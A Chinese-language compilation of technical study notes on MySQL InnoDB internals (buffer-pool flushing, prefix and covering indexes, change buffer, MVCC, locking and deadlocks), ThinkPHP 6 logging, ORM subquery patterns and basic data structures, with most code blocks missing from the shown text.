其中,第三种情况是属于 MySQL 空闲时的操作,这时系统没什么压力,而第四种场景是数据库本来就要关闭了。这两种情况下,你不会太关注“性能”问题。所以这里,我们主要来分析一下前两种场景下的性能问题。
第一种是“redo log 写满了,要 flush 脏页”,这种情况是 InnoDB 要尽量避免的。因为出现这种情况的时候,整个系统就不能再接受更新了,所有的更新都必须堵住。如果你从监控上看,这时候更新数会跌为 0。
第二种是“内存不够用了,要先将脏页写到磁盘”,这种情况其实是常态。InnoDB 用缓冲池(buffer pool)管理内存,缓冲池中的内存页有三种状态:
第一种是,还没有使用的;
第二种是,使用了并且是干净页;
第三种是,使用了并且是脏页。
InnoDB 的策略是尽量使用内存,因此对于一个长时间运行的库来说,未被使用的页面很少。
而当要读入的数据页没有在内存的时候,就必须到缓冲池中申请一个数据页。这时候只能把最久不使用的数据页从内存中淘汰掉:如果要淘汰的是一个干净页,就直接释放出来复用;但如果是脏页呢,就必须将脏页先刷到磁盘,变成干净页后才能复用。
所以,刷脏页虽然是常态,但是出现以下这两种情况,都是会明显影响性能的:
所以,InnoDB 需要有控制脏页比例的机制,来尽量避免上面的这两种情况。
innodb_io_capacity
这个参数可以设置磁盘的 I/O 能力,不能设置太小,会导致刷脏页的速度变慢。innodb_max_dirty_pages_pct
用来设置脏页比例上限,默认值是 75%。InnoDB 会在后台刷脏页,而刷脏页的过程是要将内存页写入磁盘。所以,无论是你的查询语句在需要内存的时候可能要求淘汰一个脏页,还是由于刷脏页的逻辑会占用 IO 资源并可能影响到了你的更新语句,都可能是造成你从业务端感知到 MySQL“抖”了一下的原因。
要尽量避免这种情况,你就要合理地设置 innodb_io_capacity
的值,并且平时要多关注脏页比例,不要让它经常接近 75%。
课程重点:
MySQL 是支持前缀索引的,也就是说,可以定义字符串的一部分作为索引。默认地,如果你创建索引的语句不指定前缀长度,那么索引就会包含整个字符串。
对于前缀索引和全字段索引来说,这两种不同的定义在数据结构和存储上有什么区别呢?
全字段索引:
前缀索引:
从上图中可以看到,前缀索引结构中每个邮箱字段都只取前 6 个字节(即:zhangs),所以占用的空间会更小,这就是使用前缀索引的优势。
但,这同时带来的损失是,可能会增加额外的记录扫描次数。
接下来从微观的角度来看一下,在这两个不同的索引下,执行过程分别是怎样的。
如果使用的是 index1(即 email 整个字符串的索引结构),执行顺序是这样的:
这个过程中,只需要回主键索引取一次数据,所以系统认为只扫描了一行。
如果使用的是 index2(即 email(6) 索引结构),执行顺序是这样的:
在这个过程中,要回主键索引取 4 次数据,也就是扫描了 4 行。
也就是说使用前缀索引,定义好长度,就可以做到既节省空间,又不用额外增加太多的查询成本。
先来看看这个 SQL 语句:
1 | select id,email from SUser where email='zhangssxyz@xxx.com'; |
与前面例子中的 SQL 语句
1 | select id,name,email from SUser where email='zhangssxyz@xxx.com'; |
相比,这个语句只要求返回 id 和 email 字段。
所以,如果使用 index1(即 email 整个字符串的索引结构)的话,可以利用覆盖索引,从 index1 查到结果后直接就返回了,不需要回到 ID 索引再去查一次。而如果使用 index2(即 email(6) 索引结构)的话,就不得不回到 ID 索引再去判断 email 字段的值。
即使你将 index2 的定义修改为 email(18) 的前缀索引,这时候虽然 index2 已经包含了所有的信息,但 InnoDB 还是要回到 id 索引再查一下,因为系统并不确定前缀索引的定义是否截断了完整信息。
也就是说,使用前缀索引就用不上覆盖索引对查询性能的优化了,这也是你在选择是否使用前缀索引时需要考虑的一个因素。
第一种方式是使用倒序存储。
有时候有些业务场景的前缀是一样的,这个时候如果继续使用前缀索引,其实没有太大意义。
这个时候可以考虑使用倒序存储。
第二种方式是使用 hash 字段。
可以在表上再创建一个整数字段,来保存字段的校验码,同时在这个字段上创建索引。
然后每次插入新记录的时候,都同时用 crc32()
这个函数得到校验码填到这个新字段。
由于校验码可能存在冲突,也就是说两个不同的值通过 crc32()
函数得到的结果可能是相同的,所以你的查询语句 where 部分要判断字段的值是否精确相同。
这样,索引的长度变成了 4 个字节,比原来小了很多。
使用倒序存储和使用 hash 字段这两种方法的异同点。
如果想给一个字符串创建一个索引,有四种方案:
课程重点:
假如现在需要维护一个市民系统,每个人都有一个唯一的身份证号,而且业务代码已经保证了不会写入两个重复的身份证号。如果市民系统需要按照身份证号查姓名,就会执行类似这样的 SQL 语句:
1 | select name from CUser where id_card = 'xxxxxxxyyyyyyzzzzz'; |
由于身份证号字段比较大,不建议把身份证号当做主键,那么现在有两个选择,要么给 id_card 字段创建唯一索引,要么创建一个普通索引。如果业务代码已经保证了不会写入重复的身份证号,那么这两个选择逻辑上都是正确的。
现在的问题就是,从性能的角度考虑,选择唯一索引还是普通索引呢?选择的依据是什么呢?
InnoDB 的索引组织结构:
select id from T where k=5
这个查询语句在索引树上查找的过程,先是通过 B+ 树从树根开始,按层搜索到叶子节点,也就是图中右下角的这个数据页,然后可以认为数据页内部通过二分法来定位记录。
查询过程的性能消耗,两者的差距几乎微乎其微。
InnoDB 的数据是按数据页为单位来读写的。也就是说,当需要读一条记录的时候,并不是将这个记录本身从磁盘读出来,而是以页为单位,将其整体读入内存。在 InnoDB 中,每个数据页的大小默认是 16KB。
因为引擎是按页读写的,所以说,当找到 k=5 的记录的时候,它所在的数据页就都在内存里了。那么,对于普通索引来说,要多做的那一次“查找和判断下一条记录”的操作,就只需要一次指针寻找和一次计算。
当然,如果 k=5 这个记录刚好是这个数据页的最后一个记录,那么要取下一个记录,必须读取下一个数据页,这个操作会稍微复杂一些。
但是,我们之前计算过,对于整型字段,一个数据页可以放近千个 key,因此出现这种情况的概率会很低。所以,我们计算平均性能差异时,仍可以认为这个操作成本对于现在的 CPU 来说可以忽略不计。
为了说明普通索引和唯一索引对更新语句性能的影响这个问题,需要先介绍一下 change buffer。
当需要更新一个数据页时,如果数据页在内存中就直接更新,而如果这个数据页还没有在内存中的话,在不影响数据一致性的前提下,InooDB 会将这些更新操作缓存在 change buffer 中,这样就不需要从磁盘中读入这个数据页了。在下次查询需要访问这个数据页的时候,将数据页读入内存,然后执行 change buffer 中与这个页有关的操作。通过这种方式就能保证这个数据逻辑的正确性。
需要说明的是,虽然名字叫作 change buffer,实际上它是可以持久化的数据。也就是说,change buffer 在内存中有拷贝,也会被写入到磁盘上。
将 change buffer 中的操作应用到原数据页,得到最新结果的过程称为 merge。除了访问这个数据页会触发 merge 外,系统有后台线程会定期 merge。在数据库正常关闭(shutdown)的过程中,也会执行 merge 操作。
显然,如果能够将更新操作先记录在 change buffer,减少读磁盘,语句的执行速度会得到明显的提升。而且,数据读入内存是需要占用 buffer pool 的,所以这种方式还能够避免占用内存,提高内存利用率。
所以,什么条件下可以使用 change buffer 呢?
对于唯一索引来说,所有的更新操作都要先判断这个操作是否违反唯一性约束。比如,要插 入 (4,400) 这个记录,就要先判断现在表中是否已经存在 k=4 的记录,而这必须要将数据 页读入内存才能判断。如果都已经读入到内存了,那直接更新内存会更快,就没必要使用 change buffer 了。
因此,唯一索引的更新就不能使用 change buffer,实际上也只有普通索引可以使用。
在理解了 change buffer 机制之后,再来看看如果要在这张表中插 入一个新记录 (4,400) 的话,InnoDB 的处理流程是怎样的。
如果这个记录要更新的目标页在内存中。这时,InnoDB 的处理流程如下:
这样看来,普通索引和唯一索引对更新语句性能影响的差别,只是一个判断,只会耗费微小 的 CPU 时间。
但,这不是我们关注的重点。
如果这个记录要更新的目标页不在内存中。这时,InnoDB 的处理流程如下:
将数据从磁盘读入内存涉及随机 IO 的访问,是数据库里面成本最高的操作之一。change buffer 因为减少了随机磁盘访问,所以对更新性能的提升是会很明显的。
通过上面的分析已经清楚了,使用 change buffer 对更新过程有加速作用,change buffer 仅限于普通索引使用,不适用唯一索引。
那么,普通索引的所有场景,使用 change buffer 都可以起到加速作用吗?
因为 merge 的时候是真正进行数据更新的时刻,而 change buffer 的主要目的就是将记录 的变更动作缓存下来,所以在一个数据页做 merge 之前,change buffer 记录的变更越多 (也就是这个页面上要更新的次数越多),收益就越大。
因此,对于写多读少的业务来说,页面在写完以后马上被访问到的概率比较小,此时 change buffer 的使用效果最好。这种业务模型常见的就是账单类、日志类的系统。
反过来,假设一个业务的更新模式是写入之后马上会做查询,那么即使满足了条件,将更新 先记录在 change buffer,但之后由于马上要访问这个数据页,会立即触发 merge 过程。 这样随机访问 IO 的次数不会减少,反而增加了 change buffer 的维护代价。所以,对于这 种业务模式来说,change buffer 反而起到了副作用。
回到开头的问题,普通索引和唯一索引应该怎么选择?
其实,这两类索引在查询能力上是没差别的,主要考虑的是对更新性能的影响。因此如果业务可以接受,从性能角度出发建议优先考虑非唯一索引。
如果所有的更新后面,都马上伴随着对这个记录的查询,那么你应该关闭 change buffer。 而在其他情况下,change buffer 都能提升更新性能。
ThinkPHP6.x
写的,日志处理形同虚设,每次出了啥问题,第一时间也不知道问题出在哪,调试起来障碍很多。ThinkPHP 6.0 在日志这一块,改动挺大了,直接砍掉了原来的请求信息部分。
ThinkPHP 对系统的日志按照级别来分类记录,按照 PSR-3
日志规范。除非是实时写入的日志,其它日志都是在当前请求结束的时候统一写入的 所以不要在日志写入之后使用exit等中断操作会导致日志写入失败。
日志的级别从低到高依次为:debug
,info
,notice
,warning
,error
,critical
,alert
, emergency
,ThinkPHP 额外增加了一个 sql
日志级别仅用于记录SQL日志(并且仅当开启数据库调试模式有效)。
config/log.php
1 |
|
1 | public function index() |
默认的 ThinkPHP 日志是写在当前日期(年月)目录下的,如(runtime/admin/log/202204/30.log)
设置单文件日志写入之后,所有日志则写入 single.log
文件中:
1 |
|
1 |
|
设置独立日志级别之后,不同类型的日志将会分别记录到对应类型的日志文件下:
1 | // 设置独立日志级别之前 |
日志写入时机提供两种
1 |
|
ThinkPHP6.x
日志类的一大特性就是日志级别支持指定通道写入,也就是可以实现自定义的日志记录,自定义日志驱动类,实现 think\contract\LogHandlerInterface
接口。
将 config/log.php
中通道 type 改成自定义驱动类即可。
config.php
:
1 |
|
我希望哪些信息能被记录?
ThinkPHP 5.x 版本
,还存在请求记录的日志。类似下面的输出:
1 | [2022-06-16T11:38:42+08:00] 127.0.0.1 POST localhost/api/v1.index/index |
ThinkPHP 6.0 则是直接砍掉了记录请求信息。
这里直接拿ThinkPHP5.x
的日志类源码进行修改,在 ThinkPHP6.x
中作为日志驱动:
1 |
|
然后将 config/log.php
配置中的 type 设置为 Tp6Log::class
,便可以将请求记录、SQL 执行记录、错误等信息统统记录到日志文件中。
课程重点:
下面是一个只有两行的表的初始化语句。
1 | CREATE TABLE `t` ( |
在如图所示的事务启动时机下,最终事务 B 查到的 k 的值是 3,而事务 A 查到的 k 的值是 1。
在 MySQL 里,有两个“视图”的概念:
一致性读视图它没有物理结构,作用是事务执行期间用来定义“我能看到什么数据”。
InnoDB 里面每个事务有一个唯一的事务 ID,叫作 transaction id。它是在事务开始的时候向 InnoDB 的事务系统申请的,是按申请顺序严格递增的。
数据表中的一行记录,其实可能有多个版本 (row),每个版本有自己的 row trx_id。
按照可重复读的定义,一个事务启动的时候,能够看到所有已经提交的事务结果。但是之后,这个事务执行期间,其他事务的更新对它不可见。
因此,一个事务只需要在启动的时候声明说:
当然,如果“上一个版本”也不可见,那就得继续往前找。还有,如果是这个事务自己更新的数据,它自己还是要认的。
在实现上, InnoDB 为每个事务构造了一个数组,用来保存这个事务启动瞬间,当前正在“活跃”的所有事务 ID。“活跃”指的就是,启动了但还没提交。
数组里面事务 ID 的最小值记为低水位,当前系统里面已经创建过的事务 ID 的最大值加 1 记为高水位。
这个视图数组和高水位,就组成了当前事务的一致性视图(read-view)。
数据型版本的可见性规则(基于数据的 row trx_id 和这个一致性视图的对比结果得到):
这样,对于当前事务的启动瞬间来说,一个数据版本的 row trx_id,有以下几种可能:
如果落在绿色部分,表示这个版本是已提交的事务或者是当前事务自己生成的,这个数据是可见的;
如果落在红色部分,表示这个版本是由将来启动的事务生成的,是肯定不可见的;
如果落在黄色部分,那就包括两种情况
a. 若 row trx_id 在数组中,表示这个版本是由还没提交的事务生成的,不可见;
b. 若 row trx_id 不在数组中,表示这个版本是已经提交了的事务生成的,可见。
接下来,我们继续看一下图 1 中的三个事务,分析下事务 A 的语句返回的结果,为什么是 k=1。
这里,我们不妨做如下假设:
这样,事务 A 的视图数组就是 [99,100], 事务 B 的视图数组是 [99,100,101], 事务 C 的视图数组是 [99,100,101,102]。
为了简化分析,先把其他干扰语句去掉,只画出跟事务 A 查询逻辑有关的操作:
一个数据版本,对于一个事务视图来说,除了自己的更新总是可见以外,有以下三种情况:
有了这个规则之后,可以尝试判断事务 A 的查询语句的查询过程:
按照上面的逻辑,那事务 B 的值应该是 2 才对,可最后怎么又变成了 3 呢?
是的,如果事务 B 在更新之前查询一次数据,这个查询返回的 k 的值确实是 1。
但是,当它要去更新数据的时候,就不能再在历史版本上更新了,否则事务 C 的更新就丢失了。因此,事务 B 此时的 set k=k+1 是在(1,2)的基础上进行的操作。
所以,这里就用到了这样一条规则:更新数据都是先读后写的,而这个读,只能读当前的值,称为“当前读”(current read)。
因此,在更新的时候,当前读拿到的数据是 (1,2),更新后生成了新版本的数据 (1,3),这个新版本的 row trx_id 是 101。
所以,在执行事务 B 查询语句的时候,一看自己的版本号是 101,最新数据的版本号也是 101,是自己的更新,可以直接使用,所以查询得到的 k 的值是 3。
begin/start transaction
命令并不是一个事务的起点,在执行到它们之后的第一个操作 InnoDB 表的语句,事务才真正启动。autocommit=1
时,直接执行一个 update 语句,表示这个 update 语句本身就是一个事务,语句完成的时候会自动提交事务。课程重点:
MySQL 的行锁是在引擎层由各个引擎自己实现的。但并不是所有的引擎都支持行锁,比如 MyISAM 引擎就不支持行锁。
不支持行锁意味着并发控制只能使用表锁,对于这种引擎的表,同一张表上任何时刻只能有一个更新在执行,这就会影响到业务并发度。InnoDB 是支持行锁的,这也是 MyISAM 被 InnoDB 替代的重要原因之一。
顾名思义,行锁就是针对数据表中行记录的锁。这很好理解,比如事务 A 更新了一行,而 这时候事务 B 也要更新同一行,则必须等事务 A 的操作完成后才能进行更新。
当然,数据库中还有一些没那么一目了然的概念和设计,这些概念如果理解和使用不当,容
易导致程序出现非预期行为,比如两阶段锁。
在下面的操作序列中,事务 B 的 update 语句执行时会是什么现象呢?假设字段 id 是表 t 的主键。
这个问题的结论取决于事务 A 在执行完两条 update 语句后,持有哪些锁,以及在什么时 候释放。你可以验证一下:实际上事务 B 的 update 语句会被阻塞,直到事务 A 执行 commit 之后,事务 B 才能继续执行。
知道了这个答案,你一定知道了事务 A 持有的两个记录的行锁,都是在 commit 的时候才释放的。
也就是说,在 InnoDB 事务中,行锁是在需要的时候才加上的,但并不是不需要了就立刻释放,而是要等到事务结束时才释放(这一点和 MDL 很像)。这个就是两阶段锁协议。
知道了两阶段锁协议的设定,对我们使用事务有什么帮助呢?
那就是,如果事务中需要锁多个行,要把最可能造成锁冲突、最可能影响并发度的锁尽量往后放。
假设在一个业务中,需要 update 两条记录(1、2),并 insert 一条记录(3),为了保证原子性,我们要把这三个操作放在一个事务中。
其中有一个 update 语句会冲突,需要修改同一行数据。
根据两阶段锁协议,不论你怎样安排语句顺序,所有的操作需要的行锁都是在事务提交的时候才释放的。所以,如果你把语句 2 安排在最后,比如按照 3、1、2 这样的顺序,那么行锁时间就最少。这就最大程度地减少了事务之间的锁等待,提升了并发度。
好了,现在由于你的正确设计,影院余额这一行的行锁在一个事务中不会停留很长时间。但
是,这并没有完全解决你的困扰。
如果这个影院做活动,可以低价预售一年内所有的电影票,而且这个活动只做一天。于是在 活动时间开始的时候,你的 MySQL 就挂了。你登上服务器一看,CPU 消耗接近 100%, 但整个数据库每秒就执行不到 100 个事务。这是什么原因呢?
这里,我就要说到死锁和死锁检测了。
死锁和死锁检测
当并发系统中不同线程出现循环资源依赖,涉及的线程都在等待别的线程释放资源时,就会
导致这几个线程都进入无限等待的状态,称为死锁。这里我用数据库中的行锁举个例子。
当并发系统中不同线程出现循环资源依赖,涉及的线程都在等待别的线程释放资源时,就会
导致这几个线程都进入无限等待的状态,称为死锁。
下面通过数据库的行锁来解释什么是死锁。
如上图所示,事务 A 在等待事务 B 释放 id=2 的行锁,而事务 B 在等待事务 A 释放 id=1 的行锁。 事务 A 和事务 B 在互相等待对方的资源释放,此时就会进入死锁的状态。
当出现死锁以后,有两种策略:
innodb_lock_wait_timeout
来设置。innodb_deadlock_detect
设置为 on,表示开启这个逻辑在 InnoDB 中,innodb_lock_wait_timeout
的默认值是 50s,意味着如果采用第一个策略,当出现死锁以后,第一个被锁住的线程要过 50s 才会超时退出,然后其他线程才有可能继续执行。对于在线服务来说,这个等待时间往往是无法接受的。
但是,我们又不可能直接把这个时间设置成一个很小的值,比如 1s。这样当出现死锁的时候,确实很快就可以解开,但如果不是死锁,而是简单的锁等待呢?所以,超时时间设置太短的话,会出现很多误伤。
正常情况下还是要采用第二种策略,即:主动死锁检测,而且 innodb_deadlock_detect
的默认值本身就是 on。主动死锁检测在发生死锁的时候,是能够快速发现并进行处理的,但是它也是有额外负担的。
因为每当一个事务被锁时,就需要看看它所依赖的线程有没有被别人锁住,如此循环,最后判断是否出现了循环等待,也就是死锁。
特别是当是当所有事务都要更新同一行的场景下(也就是并发比较大),每个新来的被堵住的线程,都要判断会不会由于自己的加入导致了死锁,这是一个时间复杂 度是 O(n) 的操作。假设有 1000 个并发线程要同时更新同一行,那么死锁检测操作就是 100 万这个量级的。虽然最终检测的结果是没有死锁,但是这期间要消耗大量的 CPU 资源。因此,你就会看到 CPU 利用率很高,但是每秒却执行不了几个事务。
那么到底该如何解决由这种热点行更新,导致的性能问题呢?
问题的症结在于,死锁检测要耗费大量的 CPU 资源,这里有两种方案:
课程重点:
顾名思义,全局锁就是对整个数据库实例加锁。MySQL 提供了一个加全局读锁的方法,命令是:
1 | mysql> Flush tables with read lock (FTWRL) |
当你需要让整个库处于只读状态的时候,可 以使用这个命令,之后其他线程的以下语句会被阻塞:数据更新语句(数据的增删改)、数 据定义语句(包括建表、修改表结构等)和更新类事务的提交语句。
全局锁的典型使用场景是,做全库逻辑备份。也就是把整库每个表都 select 出来存成文本。
为什么备份需要加锁呢?
不加锁的话,备份系统备份的得到的库不是一个逻辑时间点,这个视图是逻辑不一致的。
官方自带的逻辑备份工具是 mysqldump。当 mysqldump 使用参数–single-transaction 的时候,导数据之前就会启动一个事务,来确保拿到一致性视图。而由于 MVCC 的支持, 这个过程中数据是可以正常更新的。
你一定在疑惑,有了这个功能,为什么还需要 FTWRL 呢?一致性读是好,但前提是引擎要 支持这个隔离级别。比如,对于 MyISAM 这种不支持事务的引擎,如果备份过程中有更 新,总是只能取到最新的数据,那么就破坏了备份的一致性。这时,我们就需要使用 FTWRL 命令了。
所以,single-transaction 方法只适用于所有的表使用事务引擎的库。如果有的表使用了 不支持事务的引擎,那么备份就只能通过 FTWRL 方法。这往往是 DBA 要求业务开发人员 使用 InnoDB 替代 MyISAM 的原因之一。
你也许会问,既然要全库只读,为什么不使用 set global readonly=true 的方式呢?确 实 readonly 方式也可以让全库进入只读状态,但我还是会建议你用 FTWRL 方式,主要有 两个原因:
业务的更新不只是增删改数据(DML),还有可能是加字段等修改表结构的操作(DDL)。 不论是哪种方法,一个库被全局锁上以后,你要对里面任何一个表做加字段操作,都是会被 锁住的。
MySQL 里面表级别的锁有两种:一种是表锁,一种是元数据锁(meta data lock, MDL)。
表锁的语法是 lock tables … read/write。与 FTWRL 类似,可以用 unlock tables 主动 释放锁,也可以在客户端断开的时候自动释放。需要注意,lock tables 语法除了会限制别 的线程的读写外,也限定了本线程接下来的操作对象。
举个例子, 如果在某个线程 A 中执行 lock tables t1 read, t2 write; 这个语句,则其他线程 写 t1、读写 t2 的语句都会被阻塞。同时,线程 A 在执行 unlock tables 之前,也只能执 行读 t1、读写 t2 的操作。连写 t1 都不允许,自然也不能访问其他表。
在还没有出现更细粒度的锁的时候,表锁是最常用的处理并发的方式。而对于 InnoDB 这 种支持行锁的引擎,一般不使用 lock tables 命令来控制并发,毕竟锁住整个表的影响面还 是太大。
另一类表级的锁是 MDL(metadata lock)。MDL 不需要显式使用,在访问一个表的时候 会被自动加上。MDL 的作用是,保证读写的正确性。你可以想象一下,如果一个查询正在 遍历一个表中的数据,而执行期间另一个线程对这个表结构做变更,删了一列,那么查询线 程拿到的结果跟表结构对不上,肯定是不行的。
MDL 是MySQL 5.5版本引入的,当对一个表做增删改查操作的时候,加 MDL 读锁;当要对表做结构变更操作的时候,加 MDL 写锁。
Mysql 5.6 之后,支持Online DDL,也就是不会堵塞增删改查。
Online DDL的过程是这样的:
下面通过一个示例来说明,为什么有时候给小表增加字段也可能会导致整个表被锁住。
这里的实验环境是 MySQL 5.7。
从上图可以看到 session A 先启动,这时候会对表 t 加一个 MDL 读锁。由于 session B 需要 的也是 MDL 读锁,因此可以正常执行。
需要注意的是,此时 session A 开启了事务,但是并没有释放。
之后 session C 会被 blocked,是因为 session A 的 MDL 读锁还没有释放,而 session C 需要 MDL 写锁,因此只能被阻塞(阻塞原因就是前面提到的,MDL 读写锁是互斥的)。
如果只有 session C 自己被阻塞还没什么关系,但是之后所有要在表 t 上新申请 MDL 读锁的请求也会被 session C 阻塞。前面我们说了,所有对表的增删改查操作都需要先申请 MDL 读锁,就都被锁住,等于
这个表现在完全不可读写了。
如果某个表上的查询语句频繁,而且客户端有重试机制,也就是说超时后会再起一个新 session 再请求的话,这个库的线程很快就会爆满。
事务中的 MDL 锁,在语句执行开始时申请,但是语句结束后并不会马上释放,MDL 需要等到整个事务提交后再释放。
那么如何安全的给小表加字段呢?
所以在做 DDL 操作之前,最好看一下是否有大事务的提交,或者慢查询存在,尽量避免与这些同时执行。
update table set is_enable = 1
这个 SQL 语句,获取的还是行锁,只是是这个表的所有行。用户表增加了一个字段,因为项目中有许多指定部分列的查询,现在希望项目中所有查询用户信息的地方都可以自动加上这个字段。
解决方案:重写用户模型 booted 方法,并闭包自定义全局查询作用域。
1 | protected static function booted() |
这样,当执行以下查询时,生成 SQL 如下:
1 | $user = UserModel::select(["uid", "nickname"])->find(1); |
一对多关联(用户表与文章表):如何获最新一条记录或统计关联数据的合计。
以用户与文章之间的一对多关联为例,如果用户列表需要返回用户发布最新文章的标题,那么该如何进行查询?
这个场景下使用连接查询是不行的,因为涉及到被驱动表的排序和限定查询问题。
思路:基于子查询结合关联模型进行查询。
1 | public function index() |
生成 SQL 如下:
1 | select (select title from `posts` where `uid` = `user`.`uid` order by `created_at` desc limit 1 ) as `last_post_title`,`user`.* from `user` order by `uid` desc ; |
对某个字段进行合计也是一样的:
1 | public function index() |
生成 SQL 如下:
1 | select (select SUM(total_price) from `order` where `uid` = `user`.`uid` order by `total_price` desc limit 1 ) as `amount`,`user`.* from `user` order by `amount` desc ; |
聚合统计:统计订单表中不同状态下的订单数量。
思路一:对订单状态进行分组,然后通过代码逻辑统计不同状态下订单数量。
1 | public function index() |
生成 SQL:
1 | select count(order_id), user_order_status from `order` group by `user_order_status |
思路一:将多次聚合统计查询合并为一次查询:
1 | public function index() |
生成 SQL 如下:
1 | select COUNT(CASE WHEN `user_order_status` = 0 then 1 END) AS draft_count, COUNT(CASE WHEN `user_order_status` = 1 then 1 END) AS audit_count, COUNT(CASE WHEN `user_order_status` = 2 then 1 END) AS normal_count from `order` limit 1 |
一对一关联排序(用户主表与用户辅表):用户列表可根据用户辅表的某个字段进行排序。
思路一:子查询
1 | public function index() |
生成 SQL 如下:
1 | select `uid`, `nickname` from `user` order by (select `broken_number` from `user_info` where `uid` = `user`.`uid` order by `broken_number` desc limit 1) desc limit 20 offset 0; |
思路二:关联查询
1 | public function index() |
生成 SQL 如下:
1 | select `user`.* from `user` inner join `user_info` on `user_info`.`uid` = `user`.`uid` order by `user_info`.`broken_number` asc limit 20 offset 0 |
一对多关联排序(用户表与订单表):用户列表展示用户对应创建订单的金额,并根据金额大小进行排序。
一对多关联的场景不能使用连接查询,因为如果被驱动表中没有关联的数据,驱动表的记录也不会出现在结果列表中,同时涉及到排序和限定查询问题。
思路:子查询
1 | public function index() |
生成 SQL 如下:
1 | select `user`.*, (select sum(total_price) from `order` where `uid` = `user`.`uid` and `order`.`is_deleted` = '0' order by `total_price` desc limit 1) as `cost_amount` from `user` order by `cost_amount` desc limit 20 offset |
基于子查询结合关联模型进行模糊匹配。
思路:通过一个 EXISTS 子查询实现基于关联模型字段对 User 模型实例的筛选。
1 | public function index() |
生成 SQL 如下:
1 | select * from `order` where exists (select * from `user` where `order`.`uid` = `user`.`uid` and `mobile` = '*******') order by `order_id` desc limit 20 offset 0 |
之前介绍的所有的数据结构都是线性存储结构。本章所介绍的树结构是一种非线性存储结构,存储的是具有“一对多”关系的数据元素的集合。
图 1(A) 是使用树结构存储的集合 {A,B,C,D,E,F,G,H,I,J,K,L,M} 的示意图。对于数据 A 来说,和数据 B、C、D 有关系;对于数据 B 来说,和 E、F 有关系。这就是“一对多”的关系。
将具有“一对多”关系的集合中的数据元素按照图 1(A)的形式进行存储,整个存储形状在逻辑结构上看,类似于实际生活中倒着的树(图 1(B)倒过来),所以称这种存储结构为“树型”存储结构。
结点:使用树结构存储的每一个数据元素都被称为“结点”。例如,图 1(A)中,数据元素 A 就是一个结点;
树根的判断依据为:如果一个结点没有父结点,那么这个结点就是整棵树的根结点。
注意:单个结点也是一棵树,只不过根结点就是它本身。图 1(A)中,结点 K、L、F 等都是树,且都是整棵树的子树。
知道了子树的概念后,树也可以这样定义:树是由根结点和若干棵子树构成的。
补充:在树结构中,对于具有同一个根结点的各个子树,相互之间不能有交集。例如,图 1(A)中,除了根结点 A,其余元素又各自构成了三个子树,根结点分别为 B、C、D,这三个子树相互之间没有相同的结点。如果有,就破坏了树的结构,不能算做是一棵树。
如果树中结点的子树从左到右看,谁在左边,谁在右边,是有规定的,这棵树称为有序树;反之称为无序树。
在有序树中,一个结点最左边的子树称为”第一个孩子”,最右边的称为”最后一个孩子”。
拿图 1(A)来说,如果是其本身是一棵有序树,则以结点 B 为根结点的子树为整棵树的第一个孩子,以结点
D 为根结点的子树为整棵树的最后一个孩子。
简单地理解,满足以下两个条件的树就是二叉树:
二叉搜索树(又叫做二叉查找树或二叉排序树)具备以下特点:
二叉搜索树的基本操作:
BSTNode* BST_Search(BSTree T, int key);
:查找关键字 (非递归版本)BSTNode* BST_SearchR(BSTree T, int key);
:查找关键字 (递归版本)bool BST_Insert(BSTree &T, int key);
:二叉排序树插入操作void BST_Create(BSTree &T, int *elems, int n);
:构造二叉排序树1 | /** |
与栈结构不同的是,队列的两端都”开口”,要求数据只能从一端进,从另一端出,遵循 “先进先出 FIFO (First In First Out)” 的原则。
通常,称进数据的一端为 “队尾”,出数据的一端为 “队头”,数据元素进队列的过程称为 “入队”,出队列的过程称为 “出队”。
⚠️ 栈和队列不要混淆,栈结构是一端封口,特点是”先进后出”;而队列的两端全是开口,特点是”先进先出”。
在顺序表的基础上实现的队列结构。
1 |
|
在链表的基础上实现的队列结构。
1 | /** |
课程重点:
有一张初始表 T:
1 | mysql> create table T ( |
此时执行 select * from T where k between 3 and 5
,需要执行几次树的搜索操作,会扫描多少行?
上面那条 SQL 查询语句的执行流程:
在这个过程中,回到主键索引树搜索的过程,我们称为回表。可以看到,这个查询过程读了 k 索引树的 3 条记录(步骤 1、3 和 5),回表了两次(步骤 2 和 4)。
在这个例子中,由于查询结果所需要的数据只在主键索引上有,所以不得不回表。那么,有没有可能经过索引优化,避免回表过程呢?
如果执行的语句是 select ID from T where k between 3 and 5
,这时只需要查 ID 的值,而 ID 的值已经在 k 索引树上了,因此可以直接提供查询结果,不需要通过回表才能拿到。
也就是说,在这个查询里面,索引 k 已经“覆盖了”我们的查询需求,我们称为覆盖索引。
由于覆盖索引可以减少树的搜索次数,显著提升查询性能,所以使用覆盖索引是一个常用的性能优化手段。
为了提高多条件查询效率,可建立联合索引,遵循”最左前缀匹配原则“。
最左前缀匹配原则是指在使用 B+Tree 联合索引进行数据检索时,MySQL 优化器会读取谓词(过滤条件)并按照联合索引字段创建顺序一直向右匹配直到遇到范围查询或非等值查询后停止匹配,此字段之后的索引列不会被使用。
假如此时有一张市民表是这样定义的:
1 | CREATE TABLE `tuser` ( |
我们用(name,age)这个联合索引来分析。
可以看到,索引项是按照索引定义里面出现的字段顺序排序的。
当你的逻辑需求是查到所有名字是“张三”的人时,可以快速定位到 ID4,然后向后遍历得到所有需要的结果。
如果你要查的是所有名字第一个字是“张”的人,你的 SQL 语句的条件是”where name like ‘张 %’”。这时,你也能够用上这个索引,查找到第一个符合条件的记录是 ID3,然后向后遍历,直到不满足条件为止。
可以看到,不只是索引的全部定义,只要满足最左前缀,就可以利用索引来加速检索。这个最左前缀可以是联合索引的最左 N 个字段,也可以是字符串索引的最左 M 个字符。
如果通过调整顺序,可以少维护一个索引,那么这个顺序往往就是需要优先考虑采用的。
所以当已经有了 (a,b) 这个联合索引后,一般就不需要单独在 a 上建立索引了。
那么,如果既有联合查询,又有基于 a、b 各自的查询呢?查询条件里面只有 b 的语句,是无法使用 (a,b) 这个联合索引的,这时候你不得不维护另外一个索引,也就是说你需要同时维护 (a,b)、(b) 这两个索引。
这时候,我们要考虑的原则就是空间了。比如上面这个市民表的情况,name 字段是比 age 字段大的 ,那我就建议你创建一个(name,age) 的联合索引和一个 (age) 的单字段索引。
还是以市民表的联合索引(name, age)为例。如果现在有一个需求:检索出表中“名字第一个字是张,而且年龄是 10 岁的所有男孩”。那么,SQL 语句是这么写的:
1 | mysql> select * from tuser where name like '张 %' and age=10 and ismale=1; |
你已经知道了前缀索引规则,所以这个语句在搜索索引树的时候,只能用 “张”,找到第一个满足条件的记录 ID3。当然,这还不错,总比全表扫描要好。
在 MySQL 5.6 之前,只能从 ID3 开始一个个回表。到主键索引上找出数据行,再对比字段值。
